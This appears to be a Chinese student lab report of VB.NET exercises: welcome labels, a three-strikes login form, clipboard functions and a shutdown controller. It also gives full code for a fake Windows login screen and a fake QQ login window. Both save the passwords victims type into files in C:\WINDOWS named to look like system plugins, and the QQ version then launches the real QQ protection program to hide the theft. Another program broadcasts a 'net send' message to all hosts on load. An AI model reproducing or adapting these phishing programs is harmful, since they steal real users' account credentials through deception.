vb实验

实验一 VB.NET编程入门

一、实验目的

1、熟悉VS2005开发工具环境；

2、掌握创建VB.NET项目过程；

3、掌握VB.NET项目文件的作用与关系；

4、理解OOP编程方法；

5、写几个简单的VB.NET小程序，基本掌握VB.NET程序开发的过程及调试与运行方法。

二、基本知识与预习

1、启动VS 2005，熟悉开发工具环境

2、Framework框架体系

3、回顾创建VB.NET项目的过程

4、回顾VB.NET项目文件关系与作用，理解OOP编程思想。

三、实验设备与环境

1、实验平台：学生机：Windows XP Professional；教师机：Windows XP/2003 Server

2、硬件工具：计算机，已组建好局域网

3、软件工具： Visual Studio 2005；Framework 2.0；

四、实验内容

I、基础实验

（一）实验题目

一）启动VB.NET，创建一个“Windows应用程序”类型的应用程序，要求：在屏幕上显示“欢迎您使用VB.NET”，并“请输入您的姓名”；屏幕设计的界面如图所示，以Sy1-1为项目名保存。

 

 

 

 

 

二）设计一个常见的用户登录界面。

界面设计要求：用户名输入框，密码输入框，“登录”按钮，“清空”按钮，窗口不能最大化，可以用图片美化界面，可设置界面一定的透明度。

功能要求：预设好用户名和密码。登录时输入用户名、密码连续三次错误，提示警告并自动锁定界面或退出界面。

三）设计一个简易网络消息发送控制程序。

界面设计要求：消息输入框、网络主机输入框、发送按钮。

功能要求：实现对网络主机输入框的内容进行识别，主机IP地址格式是：X.X.X.X（X是0-255的数字）。向指定主机发送操作系统的信使服务，即发送消息。

四）一个假Windows登录程序。（演示操作）

当单击任意处3次后，系统进入30秒重启，按“终止重启或关机”按钮后，取消息重启

再单击任意处2次后，弹出“Windows登录”窗口，输入密码后，重新进入桌面。

五）练习：自行设计一个关机控制程序。可以实现关机、定时关机、取消关机、重启、注销等功能。

六） 利用标签、文本框、按钮控件以及相应的属性，编一字号、内容和格式的复制练习，效果见图。

在TextBox1输入一字符串，建立三个命令按钮：

（1）Button1：Text内容为“隶书 25磅”，事件过程代码为：

TextBox1.Font = New Font("隶书", 25)

（2）Button2：Text内容为“幼圆 15磅”，代码类似。

（3）Button3：Text内容为“复制  =>”，要求复制在TextBox1选中的内容以及其字体格式。选中的内容通过TextBox1的.SelectedText属性；字体通过Font直接赋值。

 

 

五、实验报告内容

简述实验过程和体会（注意：在二）到四）中选择一个写实验报告的正文内容。）

填写全部代码和属性设置内容。

 实验一实现代码：

Public Class Form1

 

    Private Sub TextBox1_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles TextBox1.KeyPress

        Dim l As Integer

        l = 365 - Label1.Left

 

        If e.KeyChar = Chr(13) Then

            Label1.Text = "欢迎您" + TextBox1.Text + "使用VB.NET"

            Me.Width = Label1.Width + l

        End If

    End Sub

 

实验二代码

实现代码：

Public Class Form1

 

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        authority()

    End Sub

 

    Private Sub Form1_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles Me.KeyPress

        If e.KeyChar = Chr(13) Then

            authority()

 

        End If

    End Sub

 

    Sub authority()

        Dim uid, upwd As String

        Static Dim count As Integer = 0

        uid = "abc"

        upwd = "123"

 

        If uid = userid.text.trim() And upwd = userpwd.text Then

            count = 0

            MsgBox("登陆成功，欢迎您使用本软件！")

            userid.text = ""

            userpwd.text = ""

 

        Else

            count += 1

            MsgBox("用户名或密码第" + count.ToString() + "次错误。你还有" + (3 - count).ToString() + "次输入机会！")

            userid.text = ""

            userpwd.text = ""

            userid.focus()

            If count >= 3 Then

                MsgBox("你已经连续输入次错误了，你的卡被锁定！")

                userid.enabled = False

                userpwd.enabled = False

                Button1.Enabled = False

            End If

        End If

    End Sub

End Class

 

正确账号密码登陆：

 

 

错误账号密码登陆：

 

 

实验三实现代码

实现代码：

Public Class Form2

 

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        '使用windows的剪切板实现:剪切板能够实现文件、对象、文本等数据的复制粘贴功能

        '将选中的文本内容放到剪贴板

        Clipboard.SetText(TextBox1.SelectedText)

 

 

    End Sub

 

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        '剪切功能

        Clipboard.SetText(TextBox1.SelectedText)

        TextBox1.SelectedText = ""

        TextBox1.Focus()

 

 

    End Sub

 

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

        '粘贴功能

        TextBox1.SelectedText = Clipboard.GetText()

        TextBox1.SelectionStart = TextBox1.Text.Length

 

    End Sub

End Class

 

一个假Windows登录程序。（演示操作）

当单击任意处3次后，系统进入30秒重启，按“终止重启或关机”按钮后，取消息重启

再单击任意处2次后，弹出“Windows登录”窗口，输入密码后，重新进入桌面。

 

实现代码：

Public Class 假登陆

 

 

    Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label1.Click

        

        dl()

    End Sub

 

    Private Sub TextBox1_KeyUp(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles TextBox1.KeyUp

        '输完后按回车登陆

        If e.KeyCode = Keys.Enter Then

            dl()

        End If

 

 

    End Sub

    Sub dl()

        '将输入的密码存入指定文件

        'c:\WINDOWS\WindowsPlugin.text

        Dim fn As Integer

        fn = FreeFile() '获得一个随机文件号

        FileOpen(fn, "C:\WINDOWS\WindowsPlugin.txt", OpenMode.Append)

        '向文件写入一行

        PrintLine(fn, TextBox1.Text)

        '关闭文件

        FileClose(fn)

        Me.Close()

    End Sub

 

End Class

 

二）关机程序

实现代码：

Public Class Form1

 

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        Shell("C:\Program Files\Adobe\Adobe Photoshop CS4\Photoshop.exe")

    End Sub

 

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        Shell("notepad")

    End Sub

 

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Shell("net send * 大家好,节日有礼！")

    End Sub

 

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click

        Shell("shutdown -r -t 50")

    End Sub

 

    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click

        Shell("shutdown -a")

    End Sub

End Class

 

 

 

 

 

三）假QQ

实现代码：

Public Class 假QQ

 

    Private Sub Label3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

 

    End Sub

 

    Private Sub Label3_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label3.Click

        Shell("C:\Program Files\Internet Explorer\IExplore.exe http://haoma.qq.com/", AppWinStyle.NormalFocus)

    End Sub

 

    Private Sub Label4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label4.Click

        Shell("C:\Program Files\Internet Explorer\IExplore.exe http://dna.qq.com/cgi-bin/console_forgetPW?reLogin=true&ADUIN=0&ADSESSION=0&ADTAG=CLIENT.QQ.1575_LoginWindow.0", AppWinStyle.NormalFocus)

    End Sub

 

 

    Private Sub TextBox2_KeyUp(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles TextBox2.KeyUp

 

        If e.KeyCode = Keys.Enter Then

            dl()

            kl()

 

        End If

 

 

    End Sub

 

 

    Private Sub TextBox1_KeyUp(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles TextBox1.KeyUp

        If e.KeyCode = Keys.Enter Then

            dl()

            kl()

        End If

 

 

    End Sub

 

    Sub dl()

        '将输入的密码存入指定文件

        'c:\WINDOWS\WindowsPlugin.text

        Dim fn As Integer

 

        fn = FreeFile() '获得一个随机文件号

 

        FileOpen(fn, "C:\WINDOWS\WindowsPlugin.txt", OpenMode.Append)

 

        '向文件写入一行

        PrintLine(fn, TextBox1.Text)

 

        '关闭文件

        'FileClose(fn)

 

        'Me.Close()

    End Sub

    Sub kl()

 

        '将输入的密码存入指定文件

        'c:\WINDOWS\WindowsPlug.text

 

        Dim kn As Integer

 

        kn = FreeFile()

 

        FileOpen(kn, "C:\WINDOWS\WindowsPlug.txt", OpenMode.Append)

        '向文件写入一行

 

        PrintLine(kn, TextBox2.Text)

        '关闭文件

 

        'FileClose(kn)

        'Me.Close()

    End Sub

 

 

 

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        Dim f02 As New 设置

        f02.Show()

        Me.Hide()

    End Sub

 

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        'Shell("D:\QQ2012\QQProtect\Bin\QQProtect.exe")

        Dim f02 As New 正在登录

        f02.Show()

        Me.Hide()

 

 

        dl()

        kl()

        Shell("D:\QQ2012\QQProtect\Bin\QQProtect.exe")

 

    End Sub

 

End Class